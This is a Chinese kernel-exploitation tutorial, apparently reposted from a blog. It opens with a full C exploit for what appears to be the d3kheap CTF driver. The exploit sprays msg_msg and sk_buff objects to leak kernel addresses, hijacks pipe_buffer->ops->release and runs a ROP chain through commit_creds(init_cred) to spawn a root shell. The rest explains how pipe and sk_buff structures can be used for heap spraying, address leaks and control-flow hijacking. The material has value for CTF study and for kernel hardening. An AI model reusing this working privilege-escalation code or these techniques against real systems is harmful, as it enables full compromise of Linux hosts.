#define DATALEN_MSG    ((size_t)PAGE_SIZE-sizeof(struct msg_msg))
#define DATALEN_SEG    ((size_t)PAGE_SIZE-sizeof(struct msg_msgseg))

int get_msg_queue(void) {
    return msgget(IPC_PRIVATE, 0666 | IPC_CREAT);
}

long read_msg(int msqid, void *msgp, size_t msgsz, long msgtyp) {
    return msgrcv(msqid, msgp, msgsz, msgtyp, 0);
}

int write_msg(int msqid, void *msgp, size_t msgsz, long msgtyp) {
    ((struct msgbuf *) msgp)->mtype = msgtyp;
    return msgsnd(msqid, msgp, msgsz, 0);
}

long peek_msg(int msqid, void *msgp, size_t msgsz, long msgtyp) {
    return msgrcv(msqid, msgp, msgsz, msgtyp, MSG_COPY | IPC_NOWAIT | MSG_NOERROR);
}

void build_msg(void *msg, uint64_t m_list_next, uint64_t m_list_prev,
               uint64_t m_type, uint64_t m_ts, uint64_t next, uint64_t security) {
    ((struct msg_msg *) msg)->m_list.next = (void *) m_list_next;
    ((struct msg_msg *) msg)->m_list.prev = (void *) m_list_prev;
    ((struct msg_msg *) msg)->m_type = (long) m_type;
    ((struct msg_msg *) msg)->m_ts = m_ts;
    ((struct msg_msg *) msg)->next = (void *) next;
    ((struct msg_msg *) msg)->security = (void *) security;
}

struct {
    long mtype;
    char mtext[DATALEN_MSG + DATALEN_SEG];
} oob_msgbuf;

#define SOCKET_NUM 8
#define SK_BUFF_NUM 128

int init_socket_array(int sk_socket[SOCKET_NUM][2]) {
    for (int i = 0; i < SOCKET_NUM; i++) {
        if (socketpair(AF_UNIX, SOCK_STREAM, 0, sk_socket[i]) < 0) {
            printf("[x] failed to create no.%d socket pair!\n", i);
            return -1;
        }
    }
    return 0;
}

int spray_sk_buff(int sk_socket[SOCKET_NUM][2], void *buf, size_t size) {
    for (int i = 0; i < SOCKET_NUM; i++) {
        for (int j = 0; j < SK_BUFF_NUM; j++) {
            if (write(sk_socket[i][0], buf, size) < 0) {
                printf("[x] failed to spray %d sk_buff for %d socket!", j, i);
                return -1;
            }
        }
    }
    return 0;
}

int free_sk_buff(int sk_socket[SOCKET_NUM][2], void *buf, size_t size) {
    for (int i = 0; i < SOCKET_NUM; i++) {
        for (int j = 0; j < SK_BUFF_NUM; j++) {
            if (read(sk_socket[i][1], buf, size) < 0) {
                puts("[x] failed to received sk_buff!");
                return -1;
            }
        }
    }
    return 0;
}

struct page;
struct pipe_inode_info;
struct pipe_buf_operations;

/* read start from len to offset, write start from offset */
struct pipe_buffer {
    struct page *page;
    unsigned int offset, len;
    const struct pipe_buf_operations *ops;
    unsigned int flags;
    unsigned long private;
};

struct pipe_buf_operations {
    /*
     * ->confirm() verifies that the data in the pipe buffer is there
     * and that the contents are good. If the pages in the pipe belong
     * to a file system, we may need to wait for IO completion in this
     * hook. Returns 0 for good, or a negative error value in case of
     * error.  If not present all pages are considered good.
     */
    int (*confirm)(struct pipe_inode_info *, struct pipe_buffer *);

    /*
     * When the contents of this pipe buffer has been completely
     * consumed by a reader, ->release() is called.
     */
    void (*release)(struct pipe_inode_info *, struct pipe_buffer *);

    /*
     * Attempt to take ownership of the pipe buffer and its contents.
     * ->try_steal() returns %true for success, in which case the contents
     * of the pipe (the buf->page) is locked and now completely owned by the
     * caller. The page may then be transferred to a different mapping, the
     * most often used case is insertion into different file address space
     * cache.
     */
    int (*try_steal)(struct pipe_inode_info *, struct pipe_buffer *);

    /*
     * Get a reference to the pipe buffer.
     */
    int (*get)(struct pipe_inode_info *, struct pipe_buffer *);
};

bool is_kernel_text_addr(size_t addr) {
    return addr >= 0xFFFFFFFF80000000 && addr <= 0xFFFFFFFFFEFFFFFF;
//    return addr >= 0xFFFFFFFF80000000 && addr <= 0xFFFFFFFF9FFFFFFF;
}

bool is_dir_mapping_addr(size_t addr) {
    return addr >= 0xFFFF888000000000 && addr <= 0xFFFFc87FFFFFFFFF;
}

void get_shell() { system("cat flag;/bin/sh"); }

int d3heap_fd;

void chunk_add() {
    ioctl(d3heap_fd, 0x1234);
}

void chunk_delete() {
    ioctl(d3heap_fd, 0xdead);
}

#define PRIMARY_MSG_SIZE 0x60
#define SECONDARY_MSG_SIZE 0x400
#define PIPE_NUM 256
#define HEAP_SIZE 1024
#define MSG_QUE_NUM 4096
#define MSG_TAG 0x1145141919810

size_t init_cred = 0xffffffff82c6d580;
size_t commit_creds = 0xffffffff810d25c0;
size_t swapgs_restore_regs_and_return_to_usermode = 0xffffffff81c00ff0;
size_t pop_rdi_ret = 0xffffffff810938f0;
size_t push_rsi_pop_rsp_pop_rbx_pop_r12_pop_r13_pop_rbp_ret = 0xffffffff812dbede;

struct {
    long mtype;
    char mtext[SECONDARY_MSG_SIZE - sizeof(struct msg_msg)];
} msgbuf;


char fake_msg[704];

int main() {
    bind_core(0);
    save_status();
    int sk_sockets[SOCKET_NUM][2];
    init_socket_array(sk_sockets);
    d3heap_fd = open("/dev/d3kheap", O_RDONLY);
    int msqid[MSG_QUE_NUM];
    for (int i = 0; i < MSG_QUE_NUM; i++) {
        if ((msqid[i] = get_msg_queue()) < 0) {
            puts("[-] mdgget failed.");
            exit(-1);
        }
    }

    chunk_add();

    for (int i = 0; i < MSG_QUE_NUM; i++) {
        memset(msgbuf.mtext, 'A' + (i % 26), sizeof(msgbuf.mtext));
        if (write_msg(msqid[i], &msgbuf, sizeof(msgbuf.mtext), MSG_TAG) < 0) {
            puts("[-] msgnd failed.");
            exit(-1);
        }
        if (i == MSG_QUE_NUM / 2) {
            chunk_delete();
        }
    }

    chunk_delete();

    build_msg(fake_msg, 0, 0, 0, -1, 0, 0);
    if (spray_sk_buff(sk_sockets, fake_msg, sizeof(fake_msg)) < 0) {
        puts("[-] failed to spary sk_buff.");
        exit(-1);
    }
    int victim_qid = -1;
    for (int i = 0; i < MSG_QUE_NUM; i++) {
        if (peek_msg(msqid[i], &msgbuf, sizeof(msgbuf.mtext), 0) < 0) {
            printf("[+] victim qid: %d\n", i);
            victim_qid = i;
        }
    }
    if (victim_qid == -1) {
        puts("[-] failed to find uaf msg_queue.");
        exit(-1);
    }
    if (free_sk_buff(sk_sockets, fake_msg, sizeof(fake_msg)) < 0) {
        puts("[-] failed to release sk_buff.");
        exit(-1);
    }

    memset(fake_msg, '#', sizeof(fake_msg));
    build_msg(fake_msg, 0, 0, 0, DATALEN_MSG, 0, 0);
    if (spray_sk_buff(sk_sockets, fake_msg, sizeof(fake_msg)) < 0) {
        puts("[-] failed to spary sk_buff.");
        exit(-1);
    }
    if (peek_msg(msqid[victim_qid], &oob_msgbuf, DATALEN_MSG, 0) < 0) {
        puts("[-] failed to peek msg.");
        exit(-1);
    }
    printf("[*] oob_msgbuf.mtype: %ld\n", oob_msgbuf.mtype);
    qword_dump("try to find nearby secondary msg", oob_msgbuf.mtext, DATALEN_MSG);

    size_t nearby_msg_que = 0;
    int msg_msg_offset = 0;
    for (int i = sizeof(msgbuf.mtext); i < DATALEN_MSG; i += HEAP_SIZE) {
        struct msg_msg *msg_msg = (void *) &oob_msgbuf.mtext[i];
        printf("type: %p\n", msg_msg->m_type);
        if (msg_msg->m_type == MSG_TAG && msg_msg->next == NULL
            && is_dir_mapping_addr((size_t) msg_msg->m_list.prev)
            && msg_msg->m_list.prev == msg_msg->m_list.next
            && msg_msg->m_ts == sizeof(msgbuf.mtext)) {
            nearby_msg_que = (size_t) msg_msg->m_list.next;
            msg_msg_offset = i + sizeof(struct msg_msg);
            printf("[+] nearby msg_queue: %p\n", nearby_msg_que);
            break;
        }
    }

    if (!nearby_msg_que) {
        puts("[-] failed to find nearby msg_queue.");
        exit(-1);
    }
    if (free_sk_buff(sk_sockets, fake_msg, sizeof(fake_msg)) < 0) {
        puts("[-] failed to release sk_buff.");
        exit(-1);
    }

    build_msg(fake_msg, 0, 0, 0, DATALEN_MSG + DATALEN_MSG, nearby_msg_que - 8, 0);
    if (spray_sk_buff(sk_sockets, fake_msg, sizeof(fake_msg)) < 0) {
        puts("[-] failed to spary sk_buff.");
        exit(-1);
    }
    if (peek_msg(msqid[victim_qid], &oob_msgbuf, DATALEN_MSG + DATALEN_SEG, 0) < 0) {
        puts("[-] failed to peek msg.");
        exit(-1);
    }
    printf("[*] oob_msgbuf.mtype: %ld\n", oob_msgbuf.mtype);
    qword_dump("leak msg_msg addr", &oob_msgbuf.mtext[DATALEN_MSG], DATALEN_SEG);
    size_t victim_addr = *(size_t *) &oob_msgbuf.mtext[DATALEN_MSG] - msg_msg_offset;
    printf("[+] victim addr: %p\n", victim_addr);

    if (free_sk_buff(sk_sockets, fake_msg, sizeof(fake_msg)) < 0) {
        puts("[-] failed to release sk_buff.");
        exit(-1);
    }
    build_msg(fake_msg, victim_addr + 0x800, victim_addr + 0x800, 1, sizeof(msgbuf.mtext), 0, 0);
    if (spray_sk_buff(sk_sockets, fake_msg, sizeof(fake_msg)) < 0) {
        puts("[-] failed to spary sk_buff.");
        exit(-1);
    }
    if (read_msg(msqid[victim_qid], &msgbuf, sizeof(msgbuf.mtext), 1) < 0) {
        puts("[-] failed to release secondary msg.");
        exit(-1);
    }

    int pipe_fd[PIPE_NUM][2];
    for (int i = 0; i < PIPE_NUM; i++) {
        if (pipe(pipe_fd[i]) < 0) {
            puts("[-] failed to create pipe.");
            exit(-1);
        }
        if (write(pipe_fd[i][1], "sky123", 6) < 0) {
            puts("[-] failed to write pipe.");
            exit(-1);
        }
    }

    size_t kernel_offset = -1;
    struct pipe_buffer *pipe_buf = (struct pipe_buffer *) &fake_msg;
    for (int i = 0; i < SOCKET_NUM; i++) {
        for (int j = 0; j < SK_BUFF_NUM; j++) {
            if (read(sk_sockets[i][1], &fake_msg, sizeof(fake_msg)) < 0) {
                puts("[-] failed to release sk_buff.");
                exit(-1);
            }
            if (is_kernel_text_addr((size_t) pipe_buf->ops)) {
                qword_dump("leak pipe_buf_operations addr", fake_msg, sizeof(fake_msg));
                printf("[+] leak pipe_buf_operations addr: %p\n", pipe_buf->ops);
                kernel_offset = (size_t) pipe_buf->ops - 0xffffffff8203fe40;
                printf("[+] kernel offset: %p\n", kernel_offset);
            }
        }
    }
    if (kernel_offset == -1) {
        puts("[-] failed to leak kernel addr.");
        exit(-1);
    }
    init_cred += kernel_offset;
    commit_creds += kernel_offset;
    swapgs_restore_regs_and_return_to_usermode += kernel_offset;
    pop_rdi_ret += kernel_offset;
    push_rsi_pop_rsp_pop_rbx_pop_r12_pop_r13_pop_rbp_ret += kernel_offset;

    pipe_buf->page = (void *) 0xdeadbeef;
    pipe_buf->ops = (void *) (victim_addr + 0x100);
    ((struct pipe_buf_operations *) &fake_msg[0x100])->release = (void *) push_rsi_pop_rsp_pop_rbx_pop_r12_pop_r13_pop_rbp_ret;

    int rop_idx = 0;
    size_t *rop = (size_t *) &fake_msg[0x20];
    rop[rop_idx++] = pop_rdi_ret;
    rop[rop_idx++] = init_cred;
    rop[rop_idx++] = commit_creds;
    rop[rop_idx++] = swapgs_restore_regs_and_return_to_usermode + 0x16;
    rop[rop_idx++] = 0;
    rop[rop_idx++] = 0;
    rop[rop_idx++] = (size_t) get_shell;
    rop[rop_idx++] = user_cs;
    rop[rop_idx++] = user_rflags;
    rop[rop_idx++] = user_sp;
    rop[rop_idx++] = user_ss;

    if (spray_sk_buff(sk_sockets, fake_msg, sizeof(fake_msg)) < 0) {
        puts("[-] failed to spary sk_buff.");
        exit(-1);
    }

    for (int i = 0; i < PIPE_NUM; i++) {
        close(pipe_fd[i][0]);
        close(pipe_fd[i][1]);
    }

    return 0;
}

pipe 管道相关

管道同样是内核中十分重要也十分常用的一个 IPC 工具,同样地管道的结构也能够在内核利用中为我们所用,其本质上是创建了一个 virtual inode 与两个对应的文件描述符构成的。

pipe_inode_info(kmalloc-192|GFP_KERNEL_ACCOUNT):管道本体

在内核中,管道本质上是创建了一个虚拟的 inode 来表示的,对应的就是一个 pipe_inode_info 结构体(inode->i_pipe),其中包含了一个管道的所有信息,当我们创建一个管道时,内核会创建一个 VFS inode 与一个 pipe_inode_info 结构体:

/**
 *	struct pipe_inode_info - a linux kernel pipe
 *	@mutex: mutex protecting the whole thing
 *	@rd_wait: reader wait point in case of empty pipe
 *	@wr_wait: writer wait point in case of full pipe
 *	@head: The point of buffer production
 *	@tail: The point of buffer consumption
 *	@note_loss: The next read() should insert a data-lost message
 *	@max_usage: The maximum number of slots that may be used in the ring
 *	@ring_size: total number of buffers (should be a power of 2)
 *	@nr_accounted: The amount this pipe accounts for in user->pipe_bufs
 *	@tmp_page: cached released page
 *	@readers: number of current readers of this pipe
 *	@writers: number of current writers of this pipe
 *	@files: number of struct file referring this pipe (protected by ->i_lock)
 *	@r_counter: reader counter
 *	@w_counter: writer counter
 *	@fasync_readers: reader side fasync
 *	@fasync_writers: writer side fasync
 *	@bufs: the circular array of pipe buffers
 *	@user: the user who created this pipe
 *	@watch_queue: If this pipe is a watch_queue, this is the stuff for that
 **/
struct pipe_inode_info {
	struct mutex mutex;
	wait_queue_head_t rd_wait, wr_wait;
	unsigned int head;
	unsigned int tail;
	unsigned int max_usage;
	unsigned int ring_size;
#ifdef CONFIG_WATCH_QUEUE
	bool note_loss;
#endif
	unsigned int nr_accounted;
	unsigned int readers;
	unsigned int writers;
	unsigned int files;
	unsigned int r_counter;
	unsigned int w_counter;
	struct page *tmp_page;
	struct fasync_struct *fasync_readers;
	struct fasync_struct *fasync_writers;
	struct pipe_buffer *bufs;
	struct user_struct *user;
#ifdef CONFIG_WATCH_QUEUE
	struct watch_queue *watch_queue;
#endif
};

数据泄露:

  • 内核线性映射区( direct mapping area)

    pipe_inode_info->bufs 为一个动态分配的结构体数组,因此我们可以利用他来泄露出内核的“堆”上地址。

pipe_buffer(kmalloc-1k|GFP_KERNEL_ACCOUNT):管道数据

当我们创建一个管道时,在内核中会分配一个 pipe_buffer 结构体数组,申请的内存总大小刚好会让内核从 kmalloc-1k 中取出一个 object 。

/**
 *	struct pipe_buffer - a linux kernel pipe buffer
 *	@page: the page containing the data for the pipe buffer
 *	@offset: offset of data inside the @page
 *	@len: length of data inside the @page
 *	@ops: operations associated with this buffer. See @pipe_buf_operations.
 *	@flags: pipe buffer flags. See above.
 *	@private: private data owned by the ops.
 **/
struct pipe_buffer {
	struct page *page;
	unsigned int offset, len;
	const struct pipe_buf_operations *ops;
	unsigned int flags;
	unsigned long private;
};

分配:pipe 系统调用族

创建管道使用的自然是 pipe 与 pipe2 这两个系统调用,其最终都会调用到 do_pipe2() 这个函数,不同的是后者我们可以指定一个 flag,而前者默认 flag 为 0

存在如下调用链:

do_pipe2()
	__do_pipe_flags()
		create_pipe_files()
			get_pipe_inode()
				alloc_pipe_info()

最终调用 kcalloc() 分配一个 pipe_buffer 数组,默认数量为 PIPE_DEF_BUFFERS (16)个,因此会直接从 kmalloc-1k 中拿 object:

struct pipe_inode_info *alloc_pipe_info(void)
{
	struct pipe_inode_info *pipe;
	unsigned long pipe_bufs = PIPE_DEF_BUFFERS;
	struct user_struct *user = get_current_user();
	unsigned long user_bufs;
	unsigned int max_size = READ_ONCE(pipe_max_size);

	pipe = kzalloc(sizeof(struct pipe_inode_info), GFP_KERNEL_ACCOUNT);

	//...

	pipe->bufs = kcalloc(pipe_bufs, sizeof(struct pipe_buffer),
			     GFP_KERNEL_ACCOUNT);

释放:close 系统调用

当我们关闭一个管道的两端之后,对应的管道就会被释放掉,相应地,pipe_buffer 数组也会被释放掉

对于管道对应的文件,其 file_operations 被设为 pipefifo_fops ,其中 release 函数指针设为 pipe_release 函数,因此在关闭管道文件时有如下调用链:

pipe_release()
    put_pipe_info()

put_pipe_info() 中会将管道对应的文件计数减一,管道两端都关闭之后最终会走到 free_pipe_info() 中,在该函数中释放掉管道本体与 buffer 数组。

void free_pipe_info(struct pipe_inode_info *pipe)
{
	int i;

#ifdef CONFIG_WATCH_QUEUE
	if (pipe->watch_queue) {
		watch_queue_clear(pipe->watch_queue);
		put_watch_queue(pipe->watch_queue);
	}
#endif

	(void) account_pipe_buffers(pipe->user, pipe->nr_accounted, 0);
	free_uid(pipe->user);
	for (i = 0; i < pipe->ring_size; i++) {
		struct pipe_buffer *buf = pipe->bufs + i;
		if (buf->ops)
			pipe_buf_release(pipe, buf);
	}
	if (pipe->tmp_page)
		__free_page(pipe->tmp_page);
	kfree(pipe->bufs);
	kfree(pipe);
}

数据泄露

  • 内核 .text 段地址

    pipe_buffer->pipe_buf_operations 通常指向一张全局函数表,我们可以通过该函数表的地址泄露出内核 .text 段基址(通常为 anon_pipe_buf_ops)。

劫持内核执行流

当我们关闭了管道的两端时,会触发 pipe_buffer->pipe_buffer_operations->release 这一指针。

struct pipe_buf_operations {
	/*
	 * ->confirm() verifies that the data in the pipe buffer is there
	 * and that the contents are good. If the pages in the pipe belong
	 * to a file system, we may need to wait for IO completion in this
	 * hook. Returns 0 for good, or a negative error value in case of
	 * error.  If not present all pages are considered good.
	 */
	int (*confirm)(struct pipe_inode_info *, struct pipe_buffer *);

	/*
	 * When the contents of this pipe buffer has been completely
	 * consumed by a reader, ->release() is called.
	 */
	void (*release)(struct pipe_inode_info *, struct pipe_buffer *);

	/*
	 * Attempt to take ownership of the pipe buffer and its contents.
	 * ->try_steal() returns %true for success, in which case the contents
	 * of the pipe (the buf->page) is locked and now completely owned by the
	 * caller. The page may then be transferred to a different mapping, the
	 * most often used case is insertion into different file address space
	 * cache.
	 */
	bool (*try_steal)(struct pipe_inode_info *, struct pipe_buffer *);

	/*
	 * Get a reference to the pipe buffer.
	 */
	bool (*get)(struct pipe_inode_info *, struct pipe_buffer *);
};

存在如下调用链:

pipe_release()
    put_pipe_info()
        free_pipe_info()
            pipe_buf_release()
                pipe_buffer->pipe_buf_operations->release() // it should be anon_pipe_buf_release()

pipe_buf_release() 中会调用到该 pipe_buffer 的函数表中的 release 指针:

/**
 * pipe_buf_release - put a reference to a pipe_buffer
 * @pipe:	the pipe that the buffer belongs to
 * @buf:	the buffer to put a reference to
 */
static inline void pipe_buf_release(struct pipe_inode_info *pipe,
				    struct pipe_buffer *buf)
{
	const struct pipe_buf_operations *ops = buf->ops;

	buf->ops = NULL;
	ops->release(pipe, buf);
}

因此我们只需要劫持其函数表到可控区域后再关闭管道的两端便能劫持内核执行流。当执行到该指针时 rsi 寄存器刚好指向对应的 pipe_buffer,因此我们可以将函数表劫持到 pipe_buffer 上,找到一条合适的 gadget 将栈迁移到该处,从而更顺利地完成 ROP。
在这里插入图片描述

任意大小对象分配

pipe_buffer 的分配过程,其实际上是单次分配 pipe_bufspipe_buffer 结构体:

struct pipe_inode_info *alloc_pipe_info(void)
{
	//...

	pipe->bufs = kcalloc(pipe_bufs, sizeof(struct pipe_buffer),
			     GFP_KERNEL_ACCOUNT);

这里注意到 pipe_buffer 不是一个常量而是一个变量,pipe 系统调用提供了 F_SETPIPE_SZ 让我们可以重新分配 pipe_buffer 并指定其数量

long pipe_fcntl(struct file *file, unsigned int cmd, unsigned long arg)
{
	struct pipe_inode_info *pipe;
	long ret;

	pipe = get_pipe_info(file, false);
	if (!pipe)
		return -EBADF;

	__pipe_lock(pipe);

	switch (cmd) {
	case F_SETPIPE_SZ:
		ret = pipe_set_size(pipe, arg);
//...

static long pipe_set_size(struct pipe_inode_info *pipe, unsigned long arg)
{
	//...

	ret = pipe_resize_ring(pipe, nr_slots);

//...

int pipe_resize_ring(struct pipe_inode_info *pipe, unsigned int nr_slots)
{
	struct pipe_buffer *bufs;
	unsigned int head, tail, mask, n;

	bufs = kcalloc(nr_slots, sizeof(*bufs),
		       GFP_KERNEL_ACCOUNT | __GFP_NOWARN);

那么我们不难想到的是我们可以通过 fcntl() 重新分配单个 pipe 的 pipe_buffer 数量,从而实现近乎任意大小的对象分配(pipe_buffer 结构体的整数倍)。

sk_buff:内核中的“大对象菜单堆”

sk_buff:size >= 512 的对象分配

sk_buff 是 Linux kernel 网络协议栈中一个重要的基础结构体,其用以表示在网络协议栈中传输的一个「包」,但其结构体本身不包含一个包的数据部分,而是包含该包的各种属性,数据包的本体数据则使用一个单独的 object 储存

这个结构体成员比较多,我们主要关注核心部分

struct sk_buff {
	union {
		struct {
			/* These two members must be first. */
			struct sk_buff		*next;
			struct sk_buff		*prev;

			// ...
	};

	// ...

	/* These elements must be at the end, see alloc_skb() for details.  */
	sk_buff_data_t		tail;
	sk_buff_data_t		end;
	unsigned char		*head,
				*data;
	unsigned int		truesize;
	refcount_t		users;

#ifdef CONFIG_SKB_EXTENSIONS
	/* only useable after checking ->active_extensions != 0 */
	struct skb_ext		*extensions;
#endif
};

sk_buff 结构体与其所表示的数据包形成如下结构,其中:

  • head :一个数据包实际的起始处(也就是为该数据包分配的 object 的首地址)
  • end :一个数据包实际的末尾(为该数据包分配的 object 的末尾地址)
  • data当前所在 layer 的数据包对应的起始地址
  • tail当前所在 layer 的数据包对应的末尾地址

data 和 tail 可以这么理解:数据包每经过网络层次模型中的一层都会被添加/删除一个 header (有时还有一个 tail),data 与 tail 便是用以对此进行标识的。多个 sk_buff 之间形成双向链表结构,类似于 msg_queue,这里同样有一个 sk_buff_head 结构作为哨兵节点。

image.png

分配(数据包:__GFP_NOMEMALLOC | __GFP_NOWARN)

在内核网络协议栈中很多地方都会用到该结构体,例如读写 socket 一类的操作都会造成包的创建,其最终都会调用到 alloc_skb() 来分配该结构体,而这个函数又是 __alloc_skb() 的 wrapper,不过需要注意的是其会从独立的 skbuff_fclone_cache / skbuff_head_cache 取 object。

struct sk_buff *__alloc_skb(unsigned int size, gfp_t gfp_mask,
			    int flags, int node)
{
	struct kmem_cache *cache;
	struct sk_buff *skb;
	u8 *data;
	bool pfmemalloc;

	cache = (flags & SKB_ALLOC_FCLONE)
		? skbuff_fclone_cache : skbuff_head_cache;

	if (sk_memalloc_socks() && (flags & SKB_ALLOC_RX))
		gfp_mask |= __GFP_MEMALLOC;

	/* Get the HEAD */
	if ((flags & (SKB_ALLOC_FCLONE | SKB_ALLOC_NAPI)) == SKB_ALLOC_NAPI &&
	    likely(node == NUMA_NO_NODE || node == numa_mem_id()))
		skb = napi_skb_cache_get();
	else
		skb = kmem_cache_alloc_node(cache, gfp_mask & ~GFP_DMA, node);
	if (unlikely(!skb))
		return NULL;
	prefetchw(skb);

	/* We do our best to align skb_shared_info on a separate cache
	 * line. It usually works because kmalloc(X > SMP_CACHE_BYTES) gives
	 * aligned memory blocks, unless SLUB/SLAB debug is enabled.
	 * Both skb->head and skb_shared_info are cache line aligned.
	 */
	size = SKB_DATA_ALIGN(size);
	size += SKB_DATA_ALIGN(sizeof(struct skb_shared_info));
	data = kmalloc_reserve(size, gfp_mask, node, &pfmemalloc);
	//...

sk_buff 虽然是从独立的 kmem_cache 中分配的,但其对应的数据包不是,我们在这里注意到分配数据包时使用的是 kmalloc_reserve(),最终会调用到 __kmalloc_node_track_caller()走常规的 kmalloc 分配路径,因此我们仍然可以实现近乎任意大小 object 的分配与释放。

因此 sk_buffmsg_msg 一样常被用来完成堆喷的工作,不同的是 msg_msg 带了一个 header,而 sk_buff 的数据包则带一个 tail——skb_shared_info 结构体。

image.png

struct skb_shared_info {
	__u8		flags;
	__u8		meta_len;
	__u8		nr_frags;
	__u8		tx_flags;
	unsigned short	gso_size;
	/* Warning: this field is not always filled in (UFO)! */
	unsigned short	gso_segs;
	struct sk_buff	*frag_list;
	struct skb_shared_hwtstamps hwtstamps;
	unsigned int	gso_type;
	u32		tskey;

	/*
	 * Warning : all fields before dataref are cleared in __alloc_skb()
	 */
	atomic_t	dataref;

	/* Intermediate layers must ensure that destructor_arg
	 * remains valid until skb destructor */
	void *		destructor_arg;

	/* must be last field, see pskb_expand_head() */
	skb_frag_t	frags[MAX_SKB_FRAGS];
};

skb_shared_info 结构体的大小为 320 字节,这意味着我们能够利用分配的 object 最小的大小也得是 512 字节,这无疑为我们的利用增添了几分难度,但不可否认的是 sk_buff 仍为我们提供了较大对象的任意分配写入与释放。

释放

我们只需要沿着发送的路径接收该包就能将其释放掉,例如若是我们通过向套接字中写入数据创建了一个包,则从套接字中读出该包便能将其释放

在内核中调用的是 kfree_skb() 函数进行释放,对于数据,其最终会调用到 skb_release_data() ,在这其中调用到 skb_free_head() 进行释放:

static void skb_free_head(struct sk_buff *skb)
{
	unsigned char *head = skb->head;

	if (skb->head_frag) {
		if (skb_pp_recycle(skb, head))
			return;
		skb_free_frag(head);
	} else {
		kfree(head);
	}
}

sk_buff 本身则通过 kfree_skbmem() 进行释放,主要就是直接放入对应的 kmem_cache 中:

/*
 *	Free an skbuff by memory without cleaning the state.
 */
static void kfree_skbmem(struct sk_buff *skb)
{
	struct sk_buff_fclones *fclones;

	switch (skb->fclone) {
	case SKB_FCLONE_UNAVAILABLE:
		kmem_cache_free(skbuff_head_cache, skb);
		return;

	case SKB_FCLONE_ORIG:
		fclones = container_of(skb, struct sk_buff_fclones, skb1);

		/* We usually free the clone (TX completion) before original skb
		 * This test would have no chance to be true for the clone,
		 * while here, branch prediction will be good.
		 */
		if (refcount_read(&fclones->fclone_ref) == 1)
			goto fastpath;
		break;

	default: /* SKB_FCLONE_CLONE */
		fclones = container_of(skb, struct sk_buff_fclones, skb2);
		break;
	}
	if (!refcount_dec_and_test(&fclones->fclone_ref))
		return;
fastpath:
	kmem_cache_free(skbuff_fclone_cache, fclones);
}

从这里我们也可以看出 sk_buff 结构体也为我们提供了一个简陋的“菜单堆”功能,比较朴素的利用方式就是利用 socketpair 系统调用创建一对套接字,往其中一端写入以完成发包,从另一端读出以完成收包。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/579214.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

python学习-基础知识总结

&#xff08;一&#xff09;基础语法 1.1、注释 程序添加注释&#xff0c;可以用来解释程序某些部分的作用和功能&#xff0c;提高程序的可读性&#xff0c;注释有两种形式&#xff1a; 单行注释&#xff1a;#多行注释&#xff1a;单引号&#xff08;注释内容&#xff09;或双…

【剑指offer】数据结构——字符串

目录 数据结构——字符串直接解【剑指offer】05. 替换空格【剑指offer】17. 打印从1到最大的n位数【剑指offer】20. 表示数值的字符串【剑指offer】37. 序列化二叉树【剑指offer】50. 第一个只出现一次的字符【剑指offer】58. 翻转单词顺序【剑指offer】58.2 左旋转字符串【剑指…

C++多态 万字详解

在经历两个多月的备赛后&#xff0c;最终5.21结果出来后自己也比较满意&#xff0c;以一个省三收尾&#xff08;算法类的&#xff09;。 期间每天偶尔学学新知识&#xff0c;然后主要做题&#xff0c;博客也落下了不少&#xff0c;现在开始继续补&#xff08;可能会些许生疏&a…

【剑指offer】数据结构——数组

目录 数据结构——数组直接解【剑指offer】03.数组中重复的数字排序法集合法原地置换 【剑指offer】04. 二维数组中的查找【剑指offer】29. 顺时针打印矩阵【剑指offer】39. 数组中出现次数超过一半的数字【剑指offer】40. 最小的k个数【剑指offer】45. 把数组排成最小的数【剑…

C++ 实现命令行画心形代码,有多个爱心代码,简单可调数据和字符,可装X,也可用于浪漫的表白,可实现跳动、保存等功能

绘制一个简易爱心 #include <stdio.h> #include <Windows.h>int main() {for (float y 1.5f; y > -1.5f; y - 0.1f){for (float x -1.5f; x < 1.5f; x 0.05f){float z x * x y * y - 1;float f z * z * z - x * x * y * y * y;putchar(f < 0.0f ?…

一文带你了解MySQL之基于规则的优化

前言&#xff1a; 大家别忘了MySQL本质上是一个软件&#xff0c;MySQL的并不能要求使用这个软件的人人都是数据库的高手&#xff0c;就像我写这篇文章的时候并不能要求各位在学之前就会了里边的知识。也就是说我们无法避免某些小伙伴写一些执行起来十分耗费性能的语句。即使是…

【youcans 的图像处理学习课】22. Haar 级联分类器

专栏地址&#xff1a;『youcans 的图像处理学习课』 文章目录&#xff1a;『youcans 的图像处理学习课 - 总目录』 【youcans 的图像处理学习课】22. Haar 级联分类器 3. Haar 特征及其加速计算3.1 Haar 特征3.2 Haar 特征值的计算3.3 积分图像3.4 基于积分图像加速计算 Haar 特…

MATLAB 如何以海森频率格子格纸的形式绘制频率分布曲线?

思路&#xff1a;将水文频率在海森格纸上对应的位置算出来&#xff0c;通过更改坐标轴标签制作海森频率格纸 先放参考链接&#xff1a; norminv 如何利用matlab在海森几率格纸上绘制图形 clc clear close all%% 随机生成径流系列&#xff0c;并计算对应频率 q randi(1000,…

Thymeleaf语法和流程控制,简单传值,each循环,if判断,switch.case使用

Thymeleaf怎么调用静态资源的看我之前发过的文章 这个首先在controller创建一个book的类&#xff0c;book的一些属性自己定义记得getsetyix Controller RequestMapping("/book") public class BookController {RequestMapping("/query")public String qu…

建立基于Open vSwitch的GRE隧道

建立基于Open vSwitch的GRE隧道 1. 环境的准备 图6-1 连接拓扑图 如图6-1所示为两台虚拟机连接拓扑图&#xff0c;两台虚拟机ens33网卡&#xff0c;通过虚拟交换机连接在一起&#xff0c;地址网段为30.0.0.0/24。在Docker主机ens33&#xff0c;IP地址为30.0.0.10/24&#xff…

从0到1接入钉钉消息通知

前段时间给项目接入监控告警&#xff0c;消息通知渠道选了钉钉。预算的原因内部办公刚从飞书转回钉钉&#xff0c;飞书消息通知之前就有一套了&#xff0c;测试钉钉从应用授权到消息测试花了不少时间。这里记录下从钉钉开放平台权限申请到消息接收全流程&#xff0c;给后面有同…

SAP-MM-采购申请字段解析

采购申请抬头以及行项目字段解析 1、采购申请类型&#xff1a; 对PR进行分类&#xff1b; 控制PR行项目的编号间隔&#xff1b; 控制PR编号范围&#xff0c;以及是否内/外部给号&#xff1b; 控制PR的屏幕选择格式&#xff1b; 控制PR是否允许凭证抬头审批&#xff0c;如果允…

mybatis-plus实现逻辑删除(详细!)

